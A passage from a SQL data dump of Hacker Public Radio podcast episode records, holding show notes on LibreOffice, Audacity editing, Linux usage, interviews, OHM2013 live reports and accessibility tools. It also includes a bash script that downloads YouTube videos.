batteries.</p>\n <p><a href=\"https://www.amazon.co.uk/Lloytron-B046-Battery-Charger-batteries/dp/B0035SLPVW/ref=sr_1_12?ie=UTF8&qid=1381055732&sr=8-12&keywords=aa+charger\">https://www.amazon.co.uk/Lloytron-B046-Battery-Charger-batteries/dp/B0035SLPVW/ref=sr_1_12?ie=UTF8&amp;qid=1381055732&amp;sr=8-12&amp;keywords=aa+charger</a></p>\n <p>The charger I use is made by the same company as this although mine is a different model. My model charges at 200ma, and takes about 13 Hrs to charge a 2100 mAh battery. I can\'t tell what charge current this charger deliveries, but suspect it\'s a simple slow charger, probably old stock, as I said slow chargers are getting like hen\'s teeth.</p>\n <p><a href=\"https://www.ebay.co.uk/itm/Hahnel-Powerstation-TC-Action-Charger-with-2-x-2000mAh-Batteries-/321240775553?pt=UK_ConsumerElectronics_Batteries_SM&hash=item4acb713b81\">https://www.ebay.co.uk/itm/Hahnel-Powerstation-TC-Action-Charger-with-2-x-2000mAh-Batteries-/321240775553?pt=UK_ConsumerElectronics_Batteries_SM&amp;hash=item4acb713b81</a></p>',201,0,0,'CC-BY-SA','battery,\"alkaline cells\",\"rechargeable battery\",NiMH,NiCd,Lithium-Ion,Li-Ion',0,1656,1),
(1425,'2014-01-17','20 - LibreOffice Writer Frames - Introduction and the Type Tab',1849,'This episode introduces the discussion of Frames in LibreOffice Writer','<p>This episode introduces the discussion of Frames in LibreOffice Writer by opening the Properties window and looking at the first tab, Type. Because there is so much to discuss about this tab, it is the only one we will look at in this episode. In the next episode we will wrap up the discussion of Frame properties by looking at the other tabs in this window</p>\r\n <h3>Links</h3>\r\n <p>The written version of this tutorial can be found on my Web site at <a href=\"https://www.ahuka.com/?page_id=476\">https://www.ahuka.com/?page_id=476</a></p>',198,70,0,'CC-BY-SA','libreoffice,frames',0,1440,1),
(1435,'2014-01-31','21 - LibreOffice Writer Frame Properties Completed',1000,'The second of two programs about Frame properties in LibreOffice Writer','<p>\r\nThis is the second of two programs that look at Frame properties in LibreOffice Writer. In the first program we looked at how to size and position Frames. Here we look at other things you can do, such as name your frames for linking, wrap text around frames, set the borders and backgrounds, and even add columns to the frame. This finishes the look at the Properties window and what you can do there.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n<p>\r\nThis tutorial can be found in written form on my Web site at <a href=\"https://www.ahuka.com/?page_id=652\">https://www.ahuka.com/?page_id=652</a>\r\n</p>',198,70,0,'CC-BY-SA','libreoffice,frame properties',0,1431,1),
(1399,'2013-12-12','Interview with Ben Everard https://www.linuxvoice.com ',1362,'In this show CPrompt^ interviews Ben Everard','<p>In this show I interview Ben Everard, former editor of Linux Format who is now promoting a crowd-funded campaign through Indiegogo for a new Linux magazine, Linux Voice. We also talk about Ben\'s other project which is a book called \"Learning Python with Raspberry Pi\" from Wiley Publishing. Later in the podcast we talk about how Ben arrived to Linux and what he finds to be the most exciting thing he has written about as well as what\'s going on in the Linux world.</p>\r\n <ul>\r\n  <li><a href=\"https://www.linuxvoice.com\">https://www.linuxvoice.com</a></li>\r\n  <li><a href=\"https://www.indiegogo.com/projects/linux-voice/\">https://www.indiegogo.com/projects/linux-voice/</a></li>\r\n  <li><a href=\"https://www.amazon.com/Learning-Python-Raspberry-Alex-Bradbury/dp/1118717058/\">https://www.amazon.com/Learning-Python-Raspberry-Alex-Bradbury/dp/1118717058/</a></li>\r\n </ul>',252,78,0,'CC-BY-SA','interview,\"Linux Voice\"',0,1589,1),
(1400,'2013-12-13','How We Use Linux',5399,'Honkeymagoo and Kevin Wisher discuss the many ways they use Linux','<p>\r\nMythTV \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.mythtv.org/\">https://www.mythtv.org/</a>\r\n</li>\r\n<li><a href=\"https://www.mythtv.org/wiki/\">https://www.mythtv.org/wiki/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nSamba File Server \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.howtoforge.com/setting-up-a-linux-file-server-using-samba\">https://www.howtoforge.com/setting-up-a-linux-file-server-using-samba</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nNFS File Server \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://ubuntuforums.org/showthread.php\">https://ubuntuforums.org/showthread.php</a>? t=249889 \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nOwnCloud \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://owncloud.org/\">https://owncloud.org/</a>\r\n</li>\r\n<li><a href=\"https://www.howtoforge.com/running-owncloud3-on-nginx-lemp-on-debian-squeeze-ubuntu-11.10\">https://www.howtoforge.com/running-owncloud3-on-nginx-lemp-on-debian-squeeze-ubuntu-11.10</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nTinyTinyRss \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tt-rss.org/redmine/projects/tt-rss/wiki\">https://tt-rss.org/redmine/projects/tt-rss/wiki</a> \r\n</li>\r\n<li><a href=\"https://www.webupd8.org/2013/05/tiny-tiny-rss-ubuntu-ppa-google-reader.html\">https://www.webupd8.org/2013/05/tiny-tiny-rss-ubuntu-ppa-google-reader.html</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMumble<br/> \r\nmurmur - server <br/>\r\nmumble - client \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://mumble.sourceforge.net/Running_Murmur\">https://mumble.sourceforge.net/Running_Murmur</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nIcecast \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.howtoforge.com/linux_webradio_with_icecast2_ices2\">https://www.howtoforge.com/linux_webradio_with_icecast2_ices2</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nBUTT (Broadcast Using This Tool) \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://butt.sourceforge.net/\">https://butt.sourceforge.net/</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nXbian\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.xbian.org/\">https://www.xbian.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nElgg\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://elgg.org/\">https://elgg.org/</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nPlex\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.plexapp.com/\">https://www.plexapp.com/</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nRasplex\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://rasplex.com/\">https://rasplex.com/</a> \r\n</li>\r\n</ul>',269,0,0,'CC-BY-SA','MythTV,Samba,NFS,OwnCloud,TinyTinyRss,Mumble,Icecast,BUTT,Xbian,Elgg,Plex,Rasplex',0,1840,1),
(1401,'2013-12-16','Huawei Mate review',576,'Knightwise takes a look at the Huawei Mate 6.1 smartphone and voices his opinions.','<p>\r\nIn this episode of HPR Knightwise reviews the Huawei Mate Smartphone and answers the quesion if a 6.1 inch device is tablet a phone or both. We peek back into the late 80\'s and ask ourselves : What constitutes a phone and is the Huawei Mate something for you ? \r\n</p>\r\n<p>\r\nThe original article : <a href=\"https://knightwise.com/reviewing-the-huawei-ascend-mate/\">https://knightwise.com/reviewing-the-huawei-ascend-mate/</a>\r\n</p>\r\n	',111,0,0,'CC-BY-SA','smartphone,Android,Huawei Mate',0,1413,1),
(1404,'2013-12-19','Editing pre-recorded audio in Audacity',1465,'Ken demonstrates how to edit an audio file with Audacity','<p>\r\nIn today\'s show I walk you through the very basics of \"editing\" a audio track that has been recorded outside Audacity. Audacity can be found at <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>\r\n</p>\r\n<h3>Overview of Audacity</h3>\r\n<p>\r\n<em>Audacity is a free, easy-to-use and multilingual audio editor and recorder for Windows, Mac OS X, GNU/Linux and other operating systems.</em>.\r\n</p>\r\n<ul>\r\n  <li>Menubar overview: <a href=\"https://manual.audacityteam.org/o/man/menu_reference.html\">https://manual.audacityteam.org/o/man/menu_reference.html</a></li>\r\n  <li>Toolbars overview: <a href=\"https://manual.audacityteam.org/o/man/toolbars_overview.html\">https://manual.audacityteam.org/o/man/toolbars_overview.html</a></li>\r\n  <li>Multi-Tool \"<strong>*</strong>\" (also F6): <a href=\"https://manual.audacityteam.org/o/man/multi_tool.html\">https://manual.audacityteam.org/o/man/multi_tool.html</a></li>\r\n  <li>Set Project Rate to 44100 Hz</li>\r\n</ul>\r\n\r\n<h3>Editing the audio</h3>\r\n<p>\r\nThe steps in this video include.\r\n</p>\r\n<ul>\r\n  <li>File > Import > Your file</li>\r\n  <li>Tracks > Stereo Track to Mono</li>\r\n  <li>Effect > Amplify (Accept defaults)</li>\r\n  <li>Delete audio: Highlight (click and drag) press Delete</li>\r\n  <li>Undo: Ctrl + Z</li>\r\n  <li><a href=\"intro.flac\">Intro Clip</a></li>\r\n  <li><a href=\"outro.flac\">Outro Clip</a></li>\r\n  <li>Move Track: (F6 Multitool) Ctrl - Click and drag</li>\r\n  <li>Export the Track:\r\n  <ul>\r\n    <li>Confirm that the Project Rate is set to <em>44100 Hz</em> (bottom left)</li>\r\n    <li><em>File -> Export</em> and select <strong>FLAC File</strong></li>\r\n    <li>Click <em>Options...</em> to reveal FLAC Export Setup</li>\r\n    <li>Set <em>Level</em> to <strong>8 (best)</strong></li>\r\n    <li>Set <em>Bit depth</em> to <strong>24</strong></li>\r\n    <li>Artist Name: <em>Your name</em></li>\r\n    <li>Track Title: <em>Your show title</em></li>\r\n    <li>Album Title: <em>Hacker Public Radio</em><br />\r\n    <img src=\"https://hackerpublicradio.org/images/contribute-audacity-export.png\" alt=\"Audacity Export Settings\" title=\"Audacity Screenshot of an Export\" width=\"600\"/>\r\n    </li>\r\n  </ul></li>\r\n</ul>\r\n<p>\r\nWhen you are ready you can contact <strong>admin</strong><strong>@</strong><strong>hackerpublicradio.</strong><strong>org</strong> to get access to the FTP server.  For more technical information see the <a href=\"README.txt\">README</a> file and the <a href=\"sample_shownotes.html\">Sample Show notes</a> file.\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1404.webm\">https://hackerpublicradio.org/eps/hpr1404.webm</a><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1404.mp4\">https://hackerpublicradio.org/eps/hpr1404.mp4</a>\r\n</p>\r\n',30,0,0,'CC-BY-SA','audacity,audio,edit',0,1582,1),
(1402,'2013-12-17','How I Started Using Linux and Free and Open Source Software',648,'My first contribution to HPR: how I came to use Linux and Free/Open Source software','<p>\r\nMy first contribution to Hacker Public radio, which details how I came to use Linux and Free/Open Source software.</p>',270,29,0,'CC-BY-SA','linux,open source',0,1529,1),
(1409,'2013-12-26','Xircom PE pocket ethernet adapter',479,'Ken\'s contribution to TheGizWiz on the Twit.tv network, in the GadgetWarehouse segment','<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1409/PE3-10BC.jpg\" alt=\"Catalog photo of PE3-10BC\" />\r\n<p>\r\nThis is a submission for the GadgetWarehouse segment on TheGizWiz on the Twit.tv network. In it I describe how my Raspberry PI has caused me to clear out all my old gadgets. The two that remained is a SmartMedia Floppy disk adapter and the other is a Xircom PE pocket ethernet adapter. I also mention the Third Annual HackerPublicRadio NewYear 26 hour show.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://twit.tv/show/weekly-daily-giz-wiz\">https://twit.tv/show/weekly-daily-giz-wiz</a>\r\n</li>\r\n<li><a href=\"https://www.gizwizbiz.com/\">https://www.gizwizbiz.com/</a>\r\n</li>\r\n<li><a href=\"https://www.madmagazine.com/\">https://www.madmagazine.com/</a>\r\n</li>\r\n<li><a href=\"https://www.raspberrypi.org/\">https://www.raspberrypi.org/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/SmartMedia\">https://en.wikipedia.org/wiki/SmartMedia</a>\r\n</li>\r\n<li><a href=\"https://www.brutman.com/Dos_Networking/xircom_pe3.html\">https://www.brutman.com/Dos_Networking/xircom_pe3.html</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/DIP_switch\">https://en.wikipedia.org/wiki/DIP_switch</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/FlashPath\">https://en.wikipedia.org/wiki/FlashPath</a>\r\n</li>\r\n<li><a href=\"https://youtu.be/xeoC9Z0m_tw\">https://youtu.be/https://youtu.be/xeoC9Z0m_tw</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1409/hpr1409.mp4\">https://hackerpublicradio.org/eps/hpr1409/hpr1409.mp4</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1409/hpr1409.webm\">https://hackerpublicradio.org/eps/hpr1409/hpr1409.webm</a>\r\n</li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','twit.tv,TheGizWiz,Raspberry Pi,ethernet',0,1486,1),
(1430,'2014-01-24','thebestofyoutube.com download script',2312,'A hacked script to download youtube videos','<p>In episode <em>\"Thu 2013-12-19: hpr1404 Editing pre-recorded audio in Audacity\"</em> I walked you through editing a podcast, by the magic of editing this is been posted after the other show has aired. The plan here is to get people to share their useful hacks to show how elegant, or in my case ugly, code can be. As Knightwise says \"Getting technology to work for you.\"™<br /> Feel free to share your own hacks with us.</p>\n <p><a href=\"https://hackerpublicradio.org/eps.php?id=1404\">https://hackerpublicradio.org/eps.php?id=1404</a><br /><a href=\"https://hackerpublicradio.org/eps/hpr1430-downloader.bash.txt\">https://hackerpublicradio.org/eps/hpr1430-downloader.bash.txt</a></p><pre>\n<code>\n#!/bin/bash\n# Downloads videos from youtube based on selection from https://thebestofyoutube.com\n# (c) Ken Fallon https://kenfallon.com\n# Released under the CC-0\n\nmaxtodownload=10\nsavepath=\"/mnt/media/Videos/tv/youtube/bestofyoutube\"\nsavedir=\"${savepath}/$(\\date -u +%Y-%m-%d_%H-%M-%SZ_%A)\"\nmkdir -p ${savedir}\nlogfile=\"${savepath}/downloaded.log\"\n\n# Gather the list\nseq 1 ${maxtodownload} | while read videopage;\ndo \n  thisvideolist=$(wget --quiet \"https://bestofyoutube.com/index.php?page=${videopage}\" -O - | \n  grep \'www.youtube.com/embed/\' | \n  sed \'s#^.*www.youtube.com/embed/##\' | \n  awk -F \'\"|?\' \'{print \"https://www.youtube.com/watch?v=\"$1}\')\n  for thisvideo in $(echo $thisvideolist);\n  do \n    if [ \"$( grep \"${thisvideo}\" \"${logfile}\" | wc -l )\" -eq 0 ];\n    then\n      echo \"Found the new video ${thisvideo}\"\n      echo ${thisvideo} &gt;&gt; ${logfile}_todo\n    else\n      echo \"Already downloaded ${thisvideo}\"\n    fi\n  done\ndone\n\n# Download the list\nif [ -e ${logfile}_todo ];\nthen\n  tac ${logfile}_todo | youtube-dl --batch-file - --ignore-errors --no-mtime --restrict-filenames \\\n    --max-quality --format mp4 --write-auto-sub -o ${savedir}\'/%(autonumber)s-%(title)s-%(id)s.%(ext)s\'\n  cat ${logfile}_todo &gt;&gt; ${logfile}\n  rm ${logfile}_todo\nfi\n</code>\n</pre>',30,42,1,'CC-BY-SA','Bash,YouTube,download',0,1583,1),
(1582,'2014-08-26','An Open Source News Break from Opensource.com',303,'Tesla\'s patent decision, 12 challenges, and an update on the GNU Health project','<p>\r\nIn this episode: An analysis of Tesla\'s patent decision, the 12 most pressing challenges for open source projects, and an update on the GNU Health project.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://opensource.com/business/14/6/tesla-opens-patent-secrets\">https://opensource.com/business/14/6/tesla-opens-patent-secrets</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/6/12-challenges-open-source-projects\">https://opensource.com/life/14/6/12-challenges-open-source-projects</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/health/14/6/promoting-freedom-and-equity-healthcare\">https://opensource.com/health/14/6/promoting-freedom-and-equity-healthcare</a>\r\n</li>\r\n</ul>',280,0,0,'CC-BY-SA','Tesla,patent,GNU Solidario,GNU Health',0,0,1),
(1561,'2014-07-28','How I got into Accessible Computing',427,'How I got into Accessible Computing including definition of \'accessible\'','<h2>\r\nAccessibility tools for the visually impaired\r\n</h2>\r\n<p>\r\nA short explanation of how I personally got involved with accessible computing,\r\na definition of the term \'accessible\' as it is applied to anything in relation\r\nto persons with physical or cognitive impairment, and very short list of the most\r\ncommonly used adaptive tools to improve accessibility to Windows and Linux.\r\n</p>\r\n\r\n<h3>Windows</h3>\r\n\r\n<ul>\r\n<li>The NVDA screen-reader: <a href=\"https://nvaccess.org\">https://nvaccess.org</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Linux</h3>\r\n\r\n<ul>\r\n<li>The Orca screen-reader: <a href=\"https://help.gnome.org/users/orca/stable/\">https://help.gnome.org/users/orca/stable/</a>\r\n</li>\r\n<li>The brltty refreshable Braille display driver: <a href=\"https://mielke.cc/brltty/\">https://mielke.cc/brltty/</a><br />\r\n  brltty has to be the most impressive example of well-documented Open Source.\r\n</li>\r\n<li>Debian Accessibility: <a href=\"https://www.debian.org/devel/debian-accessibility/\">https://www.debian.org/devel/debian-accessibility/</a><br />\r\n  Debian has a fully accessible installer.  I have installed Debian 7.4 from the net install CD ISO image.  The installer is text-based and presents no problem for even the totally blind.<br />\r\n  See the Debian Accessibility page linked to above.\r\n</li>\r\n<li>Ubuntu Accessibility: <a href=\"https://help.ubuntu.com/community/Accessibility\">https://help.ubuntu.com/community/Accessibility</a> \r\n  The Ubuntu \'Ubiquity\' graphical installer is totally accessible.  Installing from a live CD or DVD image is simple.  See the page linked above. \r\n</li>\r\n<li>Vinux (an Ubuntu variant which is accessible out-of-the-box): <a href=\"https://vinuxproject.org/\">https://vinuxproject.org/</a> \r\n  This is an Ubuntu variant which comes up talking from the first.  Not only is the installer accessible, but considerable attention has been paid to including only applications which are accessible on the CD and DVD images. Applications which are either inaccessible or which simply have little or no relevance to the visually impaired are excluded.\r\n</li>\r\n<li>Talking Arch: <a href=\"https://talkingarch.tk/\">https://talkingarch.tk/</a>\r\n  Chris Brannan created an accessible ISO image of Arch Linux. <br />\r\n  This uses the speakup console-mode screen-reader to provide a way of installing Arch Linux for the visually impaired. Console-mode only, but providing a great starting-point.  I have tried various desktops on top of this installation, including mate, LXDE and others.<br />\r\n  Talking Arch is now maintained by a couple of names which will be familiar to the Linux VI community; Kyle and Kelly.  Erm...embarassingly I can\'t find their last names right now.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMike Ray.  June 2014\r\n</p>\r\n',282,79,0,'CC-BY-SA','accessible, NVDA, Orca, brltty, Vinux, Talking Arch, Ubuntu Accessibility, Debian Accessibility',0,0,1),
(1403,'2013-12-18','hiro from GamingGrannar at Retrospelsmässan',841,'Today on #HPR we talk to @grannen_hiro from @GamingGrannar about retro games at @RSMGBG.','<p>Today on Hacker Public Radio, we will talk about old games, and interview an expert from Sweden.</p>\n <h3>\"GamingGrannar\" and \"Spelklassiker Musik\"</h3>\n <p>In 2012, the Swedish gaming community \"Level 7\" voted for the blog Gaminggrannar to become \"Gaming Blog of the year\". Gaminggrannar (or \"Gaming Neighbours\") consists of David \"Dave\" Bostr&ouml;m, Emelie \"Ekken\" Karlsson and Andreas \"hiro\" Karlsson.</p>\n <p>Dave won the Swedish Championship in Nintendo, in 2003, and has a great Metroid collection. Ekken is an acomplished gamer, creates edible game cakes and also has a newly started collection of games with pink cartridges. hiro can be recognized by his retro game inspired tatoos, and is known for his love for series like Mega Man X and Castlevania.</p>\n <p>Together the three neighbours release a video blog about everything and anything gaming related, but often with a focus on older games.</p>\n <p>The podcast that hiro hosts together with Tobias Jensen, a NES and Amiga 500 gamer who wished he had more time for games, hit the 200th episode in november 2013.</p>\n <h3>Retrospelsm&auml;ssan</h3>\n <p>hiro and I met at Retrospelsm&auml;ssan 2013. This retro game convention is on its fourth year, and has grown considerably. Now in the second largest exhibition hall in Gothenburg, with roughly 2.000 visitors, and a three hour queue to get in. Competitions in old games, buy retrogames and consoles, cosplay competition, and so on. \"Retrospelsm&auml;ssan is a yearly event with focus on consoles and computers that was released before the year 2000.\" -- Markus Swerlander, one of the organisers.</p>\n <p>The date for the 2014 edition of Retrospelsm&auml;ssan is already set, saturday the 3rd of may in Eriksbergshallen, Gothenburg.</p>\n <p><em>\"Game and have fun!\"</em><br /> -- hiro</p>\n <h3>Stuff referenced in the episode</h3>\n <ul>\n  <li>Gaminggrannar (Gaming Neighbours): <a href=\"https://gaminggrannar.se/\">https://gaminggrannar.se/</a> [Swedish], Twitter: <a href=\"https://twitter.com/gaminggrannar\">@GamingGrannar</a></li>\n  <li>Andreas \"hiro\" Karlsson, Twitter: <a href=\"https://twitter.com/grannen_hiro\">@grannen_hiro</a></li>\n  <li>David \"Dave\" Bostr&ouml;m</li>\n  <li>Emelie \"Ekken\" Karlsson</li>\n  <li>\"&Aring;rets Spelblogg 2012\" (Swedish Gaming blog of the year): <a href=\"https://level7.nu/texter/read.php?id=217627\">https://level7.nu/texter/read.php?id=217627</a> [Swedish]</li>\n  <li>Streetfighter Workout Video: <a href=\"https://youtu.be/ybYFKRgC07U\">https://youtu.be/ybYFKRgC07U</a></li>\n  <li>Spelklassiker Musik (Classical Gaming Music): <a href=\"https://radiospeltorsk.se/spelklassiker/\">https://radiospeltorsk.se/spelklassiker/</a> [Swedish]</li>\n  <li>Retrospelsm&auml;ssan (Retrogame convention): <a href=\"https://www.retrospelsmassan.se/\">https://www.retrospelsmassan.se/</a> [Swedish], Twitter: <a href=\"https://twitter.com/rsmgbg\">@RSMGBG</a></li>\n  <li>\"Super Mario Beads @ Retrospelsm&auml;ssan 2013\": <a href=\"https://youtu.be/jc3gC8xaaGs\">https://youtu.be/jc3gC8xaaGs</a></li>\n  <li>Retrode: <a href=\"https://www.retrode.org/\">https://www.retrode.org/</a></li>\n  <li>PowerPak: <a href=\"https://www.retrousb.com/product_info.php?products_id=34\">https://www.retrousb.com/product_info.php?products_id=34</a></li>\n </ul>\n <h3>How to reach me</h3>\n <p>You should follow me and subscribe to All In IT Radio:</p>\n <ul>\n  <li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\n  <li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\n </ul>\n',192,0,0,'CC-BY-SA','games, retro, gaminggrannar, retrospelsmassan, interview, hiro',0,1407,1),
(1408,'2013-12-25','Drupal in Gothenburg with Addison Berry and others',1102,'Today on #HPR we have a conversation with @add1sun from @lullabot about #Drupal at @DrupalGBG.','<p>In a sunny Gothenburg, the spring of 2012, we find a lot of happy web developers attending DrupalCamp. This is the second show with conversations from that event. This time you will hear Addison Berry from Lullabot, Henrik from All In IT Radio as well as Patrik and Cornelius.</p>\n <p>If you want to hear what Henrik and I thought about this years DrupalCamp, then you should have a listen to the episode \"Con of the Year\" over on our podcast. There we talk about all the conferences we have attended in 2013, including DrupalCamp, FSCONS and Retrospelsmässan.</p>\n <h3>Participants in todays show</h3>\n <ul>\n  <li>Addison, Twitter: <a href=\"https://twitter.com/add1sun\">@add1sun</a></li>\n  <li>Henrik, Twitter: <a href=\"https://twitter.com/warpfuz\">@warpfuz</a></li>\n  <li>Patrik, Twitter: <a href=\"https://twitter.com/PatrikMOlsson\">@PatrikMOlsson</a></li>\n  <li>Cornelius, Twitter: <a href=\"https://twitter.com/ruckmanen\">@ruckmanen</a></li>\n </ul>\n <h3>References</h3>\n <ul>\n  <li>DrupalCamp Göteborg Spring 2012: <a href=\"https://spring2012.drupalcamp.se/\">https://spring2012.drupalcamp.se/</a></li>\n  <li>DrupalCamp Göteborg Summer 2013: <a href=\"https://summer2013.drupalcamp.se/\">https://summer2013.drupalcamp.se/</a></li>\n  <li>\"Intro to Drush\": <a href=\"https://spring2012.drupalcamp.se/~drupalca/spring2012/sessions/intro-drush\">https://spring2012.drupalcamp.se/~drupalca/spring2012/sessions/intro-drush</a> (Youtube: <a href=\"https://youtu.be/FB-q_ejqEgk\">https://youtu.be/FB-q_ejqEgk</a>)</li>\n  <li>\"Learn Drupal on the Contribution Ladder\": <a href=\"https://spring2012.drupalcamp.se/~drupalca/spring2012/sessions/learn-drupal-contribution-ladder\">https://spring2012.drupalcamp.se/~drupalca/spring2012/sessions/learn-drupal-contribution-ladder</a> (Youtube: <a href=\"https://youtu.be/1j-PC3cdANU\">https://youtu.be/1j-PC3cdANU</a>)</li>\n  <li>Lullabot: <a href=\"https://www.lullabot.com/\">https://www.lullabot.com/</a></li>\n  <li>Lullabot Podcasts: <a href=\"https://www.lullabot.com/ideas/podcasts\">https://www.lullabot.com/ideas/podcasts</a></li>\n  <li>Drupalize.Me: <a href=\"https://drupalize.me/\">https://drupalize.me/</a></li>\n  <li>LearnDrupal.org: <a href=\"https://learndrupal.org/\">https://learndrupal.org/</a></li>\n  <li>DrupalEasy #95: <a href=\"https://drupaleasy.com/podcast/2012/12/drupaleasy-podcast-95-deja-vu\">https://drupaleasy.com/podcast/2012/12/drupaleasy-podcast-95-deja-vu</a></li>\n  <li>Lullabot - About Addison Berry: <a href=\"https://www.lullabot.com/about/team/addison-berry\">https://www.lullabot.com/about/team/addison-berry</a></li>\n  <li>All In IT Radio \"Con Of The Year\": <a href=\"https://aiit.se/radio/episodes/e0023-con_of_the_year/\">https://aiit.se/radio/0023</a></li>\n </ul>\n <h3>How to reach me</h3>\n <p>You should follow me and subscribe to All In IT Radio:</p>\n <ul>\n  <li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\n  <li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\n </ul>',192,0,0,'CC-BY-SA','Drupal,DrupalCamp, lullabot, add1sun, drupalgbg, interview',0,1394,1),
(1411,'2013-12-30','ohmroep live 1, 31-06-2013, pirate parties',3590,'A live report from OHM2013 in the Netherlands. Speaking to Pirate Party members','<p>\r\nNido Media reporting Live from OHM2013 in the Netherlands. He is joined\r\nby a group of Pirate Party members including Fabricio Martins do Canto,\r\nDirk Poot, Jonas Degrave, Thomas Gordon. They discuss how their pirate\r\nparty chapters were started, how to start your own. What it means to be\r\na pirate party, the goals of pirate parties. Later we are joined by\r\nChristopher Clay who tells us about the situation over there.\r\n</p>',214,0,1,'CC-BY-SA','OHMRoep, HPR Live',0,1549,1),
(1412,'2013-12-31','ohmroep hpr live 2, 31-06-2013, advancing local communities',3312,'A live report from OHM2013 in the Netherlands','<p>\r\nNido Media reporting Hacker Public Radio Live. Starring Cecile Langhorst\r\nas co-host who saves the show, and two guests. Civardi from Rhizomatica,\r\nwho is active in installing GSM networks in rural areas in Mexico tells\r\nus of his experiences with GSM technologies and Mexican villagers.\r\nBicycle Mark relates about his work training people from war or post-war\r\ncountries to become reporters.\r\n</p>',214,0,1,'CC-BY-SA','OHMRoep, HPR Live',0,1501,1),
(1413,'2014-01-01','ohmroep hpr live 3, 01-08-2013, (Power)DNS',3490,'A live report from OHM2013 in the Netherlands. PowerDNS and DNSSec; collapsing tent','<p>Today Nido Media is joined by Ken Fallon as cohost. Bert Hubert from PowerDNS joins us and talks with us about what DNS actually is. What it does, how it is used, how it is implemented. What information DNS holds and what it works. He also explains what PowerDNS and we go into DNSSec a bit. Our conversation is pre-empted right at the very end because the tent was about to collapse. No comments are made about the vicinity of Bind developers.</p>',214,0,1,'CC-BY-SA','OHMRoep, HPR Live',0,1653,1),
(1414,'2014-01-02','ohmroep hpr live 4, 31-06-2013, operating lights at Observe Hack Make',3546,'A live report from OHM2013 in the Netherlands: Lighting','<p>Doing the Lights on OHM2013. (shownotes donated by HobbyBob)</p>\r\n <p>During the interview i mention the LOC controller. The LOC controller was designed by Bob from Bitlair Hackerspace in Amersfoort, The Netherlands.</p>\r\n <p>Here you can find all the info on the controller:</p>\r\n <ul>\r\n  <li><a href=\"https://github.com/bobo1on1/loc_controller\">https://github.com/bobo1on1/loc_controller</a> Also the wiki is a nice read:</li>\r\n  <li><a href=\"https://github.com/bobo1on1/loc_controller/wiki\">https://github.com/bobo1on1/loc_controller/wiki</a> We also had the Proxy, you can find the repository here:</li>\r\n  <li><a href=\"https://github.com/bobo1on1/bobtricks\">https://github.com/bobo1on1/bobtricks</a><p>Finally we had some great help by Gavan and Kat from the UK during the event, they also made a repository for all the effects which you can run on the controller too:</p>\r\n  </li>\r\n  <li><a href=\"https://github.com/ohm2013loc/art\">https://github.com/ohm2013loc/art</a> The famous police effect (when the police was entering the field) is also in this repository !!! <p>Lastly there is Bas\' DMX controller, more info you can find here:</p>\r\n  </li>\r\n  <li><a href=\"https://ohm2013.org/wiki/DMX_lighting\">https://ohm2013.org/wiki/DMX_lighting</a><p>Furthermore we talked about lasers, if you want to start building your own colorful lasers, Photonlexicon is a good way to start. You can find the photonlexicon forum here:</p><a href=\"https://photonlexicon.com/forums/\">https://photonlexicon.com/forums/</a></li>\r\n </ul>\r\n <p>My username is hobbybob there, so if you have any questions just ask me in a pm. It is good habit that you introduce yourself on the forum, this will get you more credits when you start asking questions. Just introduce yourself, what you want to built and what you already have done/tried in the past.</p>\r\n <p>Ohh and BTW i sound a bit dull because i was very tired. As the Light team, we worked from 9AM to 3AM every day during OHM to make the experience a colorful one for everyone!</p>\r\n <p>We hope you enjoy(ed) our effort and start 